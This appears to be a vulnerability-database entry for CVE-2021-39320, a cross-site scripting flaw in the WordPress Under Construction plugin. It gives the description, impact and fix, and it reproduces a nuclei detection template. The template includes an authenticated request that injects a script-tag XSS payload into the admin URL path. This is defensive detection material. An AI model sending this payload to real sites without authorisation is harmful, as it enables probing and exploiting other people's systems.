HexBrain

Browse / CVEs / CVE-2021-39320

CVE-2021-39320· underconstruction project / underconstruction· CWE-79

WordPress Under Construction <1.19 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.3%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.

Impact

The vulnerability allows an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.

Fix

Update to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction
Positive when: contains "action=\"/wp-admin/admin.php/\"><script>alert(document.domain…" and "under-construction" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-39320 -u <target>

The full check
id: CVE-2021-39320

info:
  name: WordPress Under Construction <1.19 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.
  impact: |
    The vulnerability allows an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39320
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39320
    cwe-id: CWE-79
    epss-score: 0.02324
    epss-percentile: 0.8363
    cpe: cpe:2.3:a:underconstruction_project:underconstruction:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: underconstruction_project
    product: underconstruction
    framework: wordpress
  tags: cve2021,cve,wp-plugin,wpscan,wordpress,wp,xss,authenticated,underconstruction_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
          - 'under-construction'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from